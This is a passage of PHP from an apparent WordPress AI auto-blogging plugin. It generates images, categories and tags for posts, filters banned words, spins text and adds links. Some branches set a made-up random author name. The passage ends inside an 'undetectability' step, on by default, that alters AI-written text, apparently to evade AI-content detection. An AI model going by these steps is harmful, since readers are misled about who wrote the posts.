                                                    $generated_text = aiomatic_generate_text($token, $kw_model, $title_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'keywordID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $keyword_assistant_id, $thread_id, '', 'disabled', '', true);
                                                    if($generated_text === false)
                                                    {
                                                        aiomatic_log_to_file('Keyword generator error: ' . $aierror);
                                                        $ai_title = '';
                                                    }
                                                    else
                                                    {
                                                        $ai_title = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\''));
                                                        $ai_titles = explode(',', $ai_title);
                                                        foreach($ai_titles as $query_words)
                                                        {
                                                            $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, trim($query_words), $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                            if(!empty($z_img))
                                                            {
                                                                $get_img = $z_img;
                                                                $go_local_image = false;
                                                                if(!function_exists('is_plugin_active'))
                                                                {
                                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                                }
                                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                                {
                                                                    $go_local_image = true;
                                                                }
                                                                if($go_local_image == true)
                                                                {
                                                                    $localpath = aiomatic_copy_image_locally($get_img);
                                                                    if($localpath !== false)
                                                                    {
                                                                        $get_img = $localpath[0];
                                                                    }
                                                                }
                                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                    aiomatic_log_to_file('Royalty Free Image Generated with help of AI (kw: "' . $query_words . '"): ' . $z_img);
                                                                }
                                                                break;
                                                            }
                                                        }
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        $api_service = aiomatic_get_api_service($token, $kw_model);
                                                        aiomatic_log_to_file('Successfully got API keyword result from ' . $api_service . ': ' . $ai_title);
                                                    }
                                                }
                                            }
                                        }
                                        if(empty($get_img))
                                        {
                                            if($image_query_set == true && !empty($image_query))
                                            {
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating royalty free image'));
                                                $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $image_query, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                if($get_img == '' || $get_img === false)
                                                {
                                                    if(isset($aiomatic_Main_Settings['bimage']) && $aiomatic_Main_Settings['bimage'] == 'on')
                                                    {
                                                        $keyword_class = new Aiomatic_keywords();
                                                        $image_query = $keyword_class->keywords($image_query, 1);
                                                        $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $image_query, $img_attr, 20, true, $raw_img_list, array(), $full_result_list);
                                                    }
                                                }
                                            }
                                            if(empty($get_img))
                                            {
                                                $keyword_class = new Aiomatic_keywords();
                                                $query_words = $keyword_class->keywords($post_title, 2);
                                                $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                if($get_img == '' || $get_img === false)
                                                {
                                                    if(isset($aiomatic_Main_Settings['bimage']) && $aiomatic_Main_Settings['bimage'] == 'on')
                                                    {
                                                        $query_words = $keyword_class->keywords($post_title, 1);
                                                        $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 20, true, $raw_img_list, array(), $full_result_list);
                                                        if($get_img == '' || $get_img === false)
                                                        {
                                                            if(isset($aiomatic_Main_Settings['no_royalty_skip']) && $aiomatic_Main_Settings['no_royalty_skip'] == 'on')
                                                            {
                                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                    aiomatic_log_to_file('Skipping importing because no royalty free image found.');
                                                                }
                                                                unset($post_title_lines[$current_index]);
                                                                continue;
                                                            }
                                                        }
                                                    }
                                                    else
                                                    {
                                                        if(isset($aiomatic_Main_Settings['no_royalty_skip']) && $aiomatic_Main_Settings['no_royalty_skip'] == 'on')
                                                        {
                                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                aiomatic_log_to_file('Skipping importing because no royalty free image found.');
                                                            }
                                                            unset($post_title_lines[$current_index]);
                                                            continue;
                                                        }
                                                    }
                                                }
                                            }
                                            if(!empty($get_img))
                                            {
                                                $go_local_image = false;
                                                if(!function_exists('is_plugin_active'))
                                                {
                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                }
                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                {
                                                    $go_local_image = true;
                                                }
                                                if($go_local_image == true)
                                                {
                                                    $localpath = aiomatic_copy_image_locally($get_img);
                                                    if($localpath !== false)
                                                    {
                                                        $get_img = $localpath[0];
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                                elseif($royalty_free == '2')
                                {
                                    $get_img = $amazon_thumb;
                                }
                                if (isset($aiomatic_Main_Settings['spin_text']) && $aiomatic_Main_Settings['spin_text'] !== 'disabled') 
                                {
                                    $already_spinned = '1';
                                }
                                $my_post                              = array();
                                $my_post['aiomatic_post_image']       = $get_img;
                                if($enable_ai_images == '2')
                                {
                                    $my_post['aiomatic_local_image']      = '1';
                                }
                                else
                                {
                                    $my_post['aiomatic_local_image']      = '0';
                                }
                                $my_post['aiomatic_enable_pingbacks'] = $enable_pingback;
                                $my_post['default_category']          = $default_category;
                                $my_post['post_type']                 = $post_type;
                                $my_post['comment_status']            = $accept_comments;
                                if (isset($aiomatic_Main_Settings['draft_first']) && $aiomatic_Main_Settings['draft_first'] != 'on')
                                {
                                    if($post_status == 'publish')
                                    {
                                        $draft_me = true;
                                        $my_post['post_status'] = 'draft';
                                    }
                                    else
                                    {
                                        $my_post['post_status']   = $post_status;
                                    }
                                }
                                else
                                {
                                    $my_post['post_status']               = $post_status;
                                }
                                if($user_name_type == 'rand')
                                {
                                    $randid = aiomatic_display_random_user();
                                    if($randid === false)
                                    {
                                        $my_post['post_author']               = aiomatic_randomName();
                                    }
                                    else
                                    {
                                        $my_post['post_author']               = $randid->ID;
                                    }
                                }
                                else
                                {
                                    $my_post['post_author']               = $post_user_name;
                                }
                                if($strip_title == '1')
                                {
                                    $new_post_content = str_replace($post_title, '', $new_post_content);
                                    $new_post_content = str_replace('<h2></h2>', '', $new_post_content);
                                    $new_post_content = str_replace('<h3></h3>', '', $new_post_content);
                                }
                                if (isset($aiomatic_Main_Settings['swear_filter']) && $aiomatic_Main_Settings['swear_filter'] == 'on') 
                                {
                                    require_once(dirname(__FILE__) . "/res/swear.php");
                                    $new_post_content = aiomatic_filterwords($new_post_content);
                                }
                                if(isset($aiomatic_Main_Settings['global_ban_words']) && $aiomatic_Main_Settings['global_ban_words'] != '') {
                                    $continue    = false;
                                    $aiomatic_Main_Settings['global_ban_words'] = trim(trim(trim($aiomatic_Main_Settings['global_ban_words']), ','));
                                    $banned_list = explode(',', $aiomatic_Main_Settings['global_ban_words']);
                                    foreach ($banned_list as $banned_word) {
                                        if (stripos($new_post_content, trim($banned_word)) !== FALSE) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s content contains global banned word: ' . $banned_word);
                                            }
                                            $continue = true;
                                            break;
                                        }
                                        if (stripos($post_title, trim($banned_word)) !== FALSE) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s title contains global banned word: ' . $banned_word);
                                            }
                                            $continue = true;
                                            break;
                                        }
                                    }
                                    if ($continue === true) {
                                        continue;
                                    }
                                }
                                if(isset($aiomatic_Main_Settings['global_req_words']) && $aiomatic_Main_Settings['global_req_words'] != '')
                                {
                                    if(isset($aiomatic_Main_Settings['require_only_one']) && $aiomatic_Main_Settings['require_only_one'] == 'on')
                                    {
                                        $continue      = true;
                                        $aiomatic_Main_Settings['global_req_words'] = trim(trim(trim($aiomatic_Main_Settings['global_req_words']), ','));
                                        $required_list = explode(',', $aiomatic_Main_Settings['global_req_words']);
                                        foreach ($required_list as $required_word) {
                                            if (stripos($new_post_content, trim($required_word)) !== FALSE || stripos($post_title, trim($required_word)) !== FALSE) {
                                                $continue = false;
                                                break;
                                            }
                                        }
                                        if ($continue === true) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s content doesn\'t contain global required words.');
                                            }
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $continue      = false;
                                        $aiomatic_Main_Settings['global_req_words'] = trim(trim(trim($aiomatic_Main_Settings['global_req_words']), ','));
                                        $required_list = explode(',', $aiomatic_Main_Settings['global_req_words']);
                                        foreach ($required_list as $required_word) {
                                            if (stripos($new_post_content, trim($required_word)) === FALSE && stripos($post_title, trim($required_word)) === FALSE) {
                                                $continue = true;
                                                break;
                                            }
                                        }
                                        if ($continue === true) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s content doesn\'t contain global required words.');
                                            }
                                            continue;
                                        }
                                    }
                                }
                                $new_post_title = $post_title;
                                if (isset($aiomatic_Main_Settings['spin_what']) && $aiomatic_Main_Settings['spin_what'] === 'omni') 
                                {
                                    $skip_spin = '1';
                                }
                                $arr = aiomatic_spin_and_translate($new_post_title, $new_post_content, '3', $skip_spin, $skip_translate);
                                if($arr[0] != $new_post_title)
                                {
                                    $new_post_title = $arr[0];
                                    if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') 
                                    {
                                        $posts = get_posts(
                                            array(
                                                'post_type'              => $post_type,
                                                'title'                  => html_entity_decode($new_post_title),
                                                'post_status'            => 'all',
                                                'numberposts'            => 1,
                                                'update_post_term_cache' => false,
                                                'update_post_meta_cache' => false,           
                                                'orderby'                => 'post_date ID',
                                                'order'                  => 'ASC',
                                            )
                                        );
                                        if ( ! empty( $posts ) ) {
                                            $zap = $posts[0];
                                        } else {
                                            $zap = null;
                                        }
                                        if($zap !== null)
                                        {
                                            if($overwrite_existing)
                                            {
                                                $update_post_id = $zap->ID;
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Post with specified title already existing (after spin/translate), skipping it: ' . $new_post_title);
                                                unset($post_title_lines[$current_index]);
                                                continue;
                                            }
                                        }
                                    }
                                }
                                $new_post_content            = $arr[1];
                                if (isset($aiomatic_Main_Settings['spin_text']) && $aiomatic_Main_Settings['spin_text'] !== 'disabled') 
                                {
                                    $already_spinned = '1';
                                }
                                if ($auto_categories == 'content') {
                                    $extra_categories            = aiomatic_extractKeyWords($new_post_content);
                                    $extra_categories            = implode(',', $extra_categories);
                                }
                                elseif ($auto_categories == 'title') {
                                    $extra_categories            = aiomatic_extractKeyWords($new_post_title);
                                    $extra_categories            = implode(',', $extra_categories);
                                }
                                elseif ($auto_categories == 'both') {
                                    $extra_categories            = aiomatic_extractKeyWords($new_post_content);
                                    $extra_categories            = implode(',', $extra_categories);
                                    $extra_categories2            = aiomatic_extractKeyWords($new_post_title);
                                    $extra_categories2            = implode(',', $extra_categories2);
                                    if($extra_categories2 != '')
                                    {
                                        $extra_categories .= ',' . $extra_categories2;
                                    }
                                }
                                elseif ($auto_categories == 'ai') 
                                {
                                    $category_ai_command = $orig_ai_command_category;
                                    if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                    {
                                        $category_ai_command = preg_split('/\r\n|\r|\n/', $category_ai_command);
                                        $category_ai_command = array_filter($category_ai_command);
                                        if(count($category_ai_command) > 0)
                                        {
                                            $category_ai_command = $category_ai_command[array_rand($category_ai_command)];
                                        }
                                        else
                                        {
                                            $category_ai_command = '';
                                        }
                                    }
                                    $category_ai_command = aiomatic_replaceSynergyShortcodes($category_ai_command);
                                    if(!empty($category_ai_command))
                                    {
                                        $category_ai_command = replaceAIPostShortcodes($category_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                        $category_ai_command = aiomatic_replace_amazon($category_ai_command, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                    }
                                    else
                                    {
                                        $category_ai_command = trim(strip_tags('Write a comma separated list of categories, for the post title: %%post_title%%'));
                                    }
                                    $category_ai_command = trim($category_ai_command);
                                    if (filter_var($category_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($category_ai_command, '.txt'))
                                    {
                                        $txt_content = aiomatic_get_web_page($category_ai_command);
                                        if ($txt_content !== FALSE) 
                                        {
                                            $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                            $txt_content = array_filter($txt_content);
                                            if(count($txt_content) > 0)
                                            {
                                                $txt_content = $txt_content[array_rand($txt_content)];
                                                if(trim($txt_content) != '') 
                                                {
                                                    $category_ai_command = $txt_content;
                                                    $category_ai_command = aiomatic_replaceSynergyShortcodes($category_ai_command);
                                                    $category_ai_command = replaceAIPostShortcodes($category_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                    $category_ai_command = aiomatic_replace_amazon($category_ai_command, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                                }
                                            }
                                        }
                                    }
                                    if(empty($category_ai_command))
                                    {
                                        aiomatic_log_to_file('Empty API post category seed expression provided!');
                                    }
                                    else
                                    {
                                        if(strlen($category_ai_command) > $max_seed_tokens * 4)
                                        {
                                            $category_ai_command = aiomatic_substr($category_ai_command, 0, (0 - ($max_seed_tokens * 4)));
                                        }
                                        $category_ai_command = trim($category_ai_command);
                                        if(empty($category_ai_command))
                                        {
                                            aiomatic_log_to_file('Empty API category seed expression provided! ' . print_r($category_ai_command, true));
                                            break;
                                        }
                                        $query_token_count = count(aiomatic_encode($category_ai_command));
                                        $available_tokens = aiomatic_compute_available_tokens($category_model, $max_tokens, $category_ai_command, $query_token_count);
                                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                        {
                                            $string_len = strlen($category_ai_command);
                                            $string_len = $string_len / 2;
                                            $string_len = intval(0 - $string_len);
                                            $category_ai_command = aiomatic_substr($category_ai_command, 0, $string_len);
                                            $category_ai_command = trim($category_ai_command);
                                            if(empty($category_ai_command))
                                            {
                                                aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($category_ai_command, true));
                                                break;
                                            }
                                            $query_token_count = count(aiomatic_encode($category_ai_command));
                                            $available_tokens = $max_tokens - $query_token_count;
                                        }
                                        $aierror = '';
                                        $finish_reason = '';
                                        if(!empty($global_prepend))
                                        {
                                            $category_ai_command = $global_prepend . ' ' . $category_ai_command;
                                        }
                                        if(!empty($global_append))
                                        {
                                            $category_ai_command = $category_ai_command . ' ' . $global_append;
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $category_model);
                                            aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $category_model . ') for category generator: ' . $category_ai_command);
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating categories'));
                                        $generated_text = aiomatic_generate_text($token, $category_model, $category_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'categoryID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false);
                                        if($generated_text === false)
                                        {
                                            aiomatic_log_to_file('Category generator error: ' . $aierror);
                                            break;
                                        }
                                        else
                                        {
                                            $extra_categories = $generated_text;
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $category_model);
                                            aiomatic_log_to_file('Successfully got API category result from ' . $api_service . ': ' . $generated_text);
                                        }
                                    }
                                }
                                else
                                {
                                    $extra_categories = '';
                                }
                                $my_post['extra_categories'] = $extra_categories;
                                
                                $item_tags                   = aiomatic_extractKeyWords($new_post_content, 3);
                                $item_tags                   = implode(',', $item_tags);
                                $title_tags                   = aiomatic_extractKeyWords($new_post_title, 3);
                                $title_tags                   = implode(',', $title_tags);
                                $item_create_tag_sp = $spintax->Parse($item_create_tag);
                                if ($can_create_tag == 'content') {
                                    $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . $item_tags;
                                    $my_post['extra_tags']       = $item_tags;
                                } else if ($can_create_tag == 'title') {
                                    $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . $title_tags;
                                    $my_post['extra_tags']       = $title_tags;
                                } else if ($can_create_tag == 'both') {
                                    $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . ($item_tags != '' ? $item_tags . ',' : '') . $title_tags;
                                    $my_post['extra_tags']       = ($item_tags != '' ? $item_tags . ',' : '') . $title_tags;
                                } else if ($can_create_tag == 'ai') {
                                    $ai_tags = '';
                                    $tag_ai_command = $orig_ai_command_tag;
                                    if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                    {
                                        $tag_ai_command = preg_split('/\r\n|\r|\n/', $tag_ai_command);
                                        $tag_ai_command = array_filter($tag_ai_command);
                                        if(count($tag_ai_command) > 0)
                                        {
                                            $tag_ai_command = $tag_ai_command[array_rand($tag_ai_command)];
                                        }
                                        else
                                        {
                                            $tag_ai_command = '';
                                        }
                                    }
                                    $tag_ai_command = aiomatic_replaceSynergyShortcodes($tag_ai_command);
                                    if(!empty($tag_ai_command))
                                    {
                                        $tag_ai_command = replaceAIPostShortcodes($tag_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                        $tag_ai_command = aiomatic_replace_amazon($tag_ai_command, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                    }
                                    else
                                    {
                                        $tag_ai_command = trim(strip_tags('Write a comma separated list of tags, for the post title: %%post_title%%'));
                                    }
                                    $tag_ai_command = trim($tag_ai_command);
                                    if (filter_var($tag_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($tag_ai_command, '.txt'))
                                    {
                                        $txt_content = aiomatic_get_web_page($tag_ai_command);
                                        if ($txt_content !== FALSE) 
                                        {
                                            $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                            $txt_content = array_filter($txt_content);
                                            if(count($txt_content) > 0)
                                            {
                                                $txt_content = $txt_content[array_rand($txt_content)];
                                                if(trim($txt_content) != '') 
                                                {
                                                    $tag_ai_command = $txt_content;
                                                    $tag_ai_command = aiomatic_replaceSynergyShortcodes($tag_ai_command);
                                                    $tag_ai_command = replaceAIPostShortcodes($tag_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                    $tag_ai_command = aiomatic_replace_amazon($tag_ai_command, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                                }
                                            }
                                        }
                                    }
                                    if(empty($tag_ai_command))
                                    {
                                        aiomatic_log_to_file('Empty API post tag seed expression provided!');
                                    }
                                    else
                                    {
                                        if(strlen($tag_ai_command) > $max_seed_tokens * 4)
                                        {
                                            $tag_ai_command = aiomatic_substr($tag_ai_command, 0, (0 - ($max_seed_tokens * 4)));
                                        }
                                        $tag_ai_command = trim($tag_ai_command);
                                        if(empty($tag_ai_command))
                                        {
                                            aiomatic_log_to_file('Empty API tag seed expression provided! ' . print_r($tag_ai_command, true));
                                            break;
                                        }
                                        $query_token_count = count(aiomatic_encode($tag_ai_command));
                                        $available_tokens = aiomatic_compute_available_tokens($tag_model, $max_tokens, $tag_ai_command, $query_token_count);
                                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                        {
                                            $string_len = strlen($tag_ai_command);
                                            $string_len = $string_len / 2;
                                            $string_len = intval(0 - $string_len);
                                            $tag_ai_command = aiomatic_substr($tag_ai_command, 0, $string_len);
                                            $tag_ai_command = trim($tag_ai_command);
                                            if(empty($tag_ai_command))
                                            {
                                                aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($tag_ai_command, true));
                                                break;
                                            }
                                            $query_token_count = count(aiomatic_encode($tag_ai_command));
                                            $available_tokens = $max_tokens - $query_token_count;
                                        }
                                        $aierror = '';
                                        $finish_reason = '';
                                        if(!empty($global_prepend))
                                        {
                                            $tag_ai_command = $global_prepend . ' ' . $tag_ai_command;
                                        }
                                        if(!empty($global_append))
                                        {
                                            $tag_ai_command = $tag_ai_command . ' ' . $global_append;
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $tag_model);
                                            aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $tag_model . ') for tag generator: ' . $tag_ai_command);
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating tags'));
                                        $generated_text = aiomatic_generate_text($token, $tag_model, $tag_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'tagID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false);
                                        if($generated_text === false)
                                        {
                                            aiomatic_log_to_file('Tag generator error: ' . $aierror);
                                            break;
                                        }
                                        else
                                        {
                                            $ai_tags = $generated_text;
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $tag_model);
                                            aiomatic_log_to_file('Successfully got API tag result from ' . $api_service . ': ' . $generated_text);
                                        }
                                    }
                                    $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . $ai_tags;
                                    $my_post['extra_tags']       = $ai_tags;
                                } else {
                                    $post_the_tags = $item_create_tag_sp;
                                    $my_post['extra_tags']       = '';
                                }
                                $my_post['tags_input'] = $post_the_tags;
                                $new_post_content        = html_entity_decode($new_post_content);
                                $new_post_content = str_replace('</ iframe>', '</iframe>', $new_post_content);
                                if ($strip_by_regex !== '')
                                {
                                    $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex);
                                    $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex);
                                    $xcnt = 0;
                                    foreach($xstrip_by_regex as $sbr)
                                    {
                                        if(isset($xreplace_regex[$xcnt]))
                                        {
                                            $repreg = $xreplace_regex[$xcnt];
                                        }
                                        else
                                        {
                                            $repreg = '';
                                        }
                                        $xcnt++;
                                        $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $new_post_content);
                                        if($temp_cont !== NULL)
                                        {
                                            $new_post_content = $temp_cont;
                                        }
                                    }
                                }
                                $post_prepender = replaceAIPostShortcodes($post_prepend, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                $post_prepender = aiomatic_replace_amazon($post_prepender, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                $post_appender = replaceAIPostShortcodes($post_append, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                $post_appender = aiomatic_replace_amazon($post_appender, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                $post_appender = aiomatic_replaceSynergyShortcodes($post_appender);
                                $post_prepender = aiomatic_replaceSynergyShortcodes($post_prepender);
                                if($topic_videos == '1' && count($added_vid_list) == 0)
                                {
                                    $new_vid = aiomoatic_get_video($amazon_kw);
                                    if($new_vid !== false && !in_array($new_vid, $added_vid_list))
                                    {
                                        $new_post_content .= $new_vid;
                                        $added_vid_list[] = $new_vid;
                                        $new_vid_arr[] = $new_vid;
                                        $added_videos++;
                                    }
                                }
                                $zlang = 'en_US';
                                if (isset($aiomatic_Main_Settings['kw_lang']) && !empty($aiomatic_Main_Settings['kw_lang'])) {
                                    $zlang = $aiomatic_Main_Settings['kw_lang'];
                                }
                                $rel_search = array('post_title', 'post_content');
                                if (isset($aiomatic_Main_Settings['rel_search']) && is_array($aiomatic_Main_Settings['rel_search'])) {
                                    $rel_search = $aiomatic_Main_Settings['rel_search'];
                                }
                                if($max_links !== '' && $inboundlinker !== null && $link_type != 'disabled')
                                {
                                    try
                                    {
                                        $new_post_content = $inboundlinker->add_inbound_links($new_post_content, $max_links, $link_post_types, $zlang, $rel_search, null, $link_type, $link_list, $link_nofollow);
                                    }
                                    catch(Exception $ex)
                                    {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('Failed to add new inbound links to content: ' . $ex->getMessage());
                                        }
                                    }
                                }
                                if (isset($aiomatic_Main_Settings['nlbr_parse']) && $aiomatic_Main_Settings['nlbr_parse'] == 'on')
                                {
                                    $new_post_content =  nl2br($new_post_content);
                                }
                                if (!isset($aiomatic_Main_Settings['no_undetectibility']) || $aiomatic_Main_Settings['no_undetectibility'] != 'on') 
                                {
                                    $new_post_content = aiomatic_remove_parasite_phrases($new_post_content);
                                    if(!isset($xchars))
                                    {
                                        $xchars = array();
                                    }
                                    $rand_percentage = rand(10, 20);
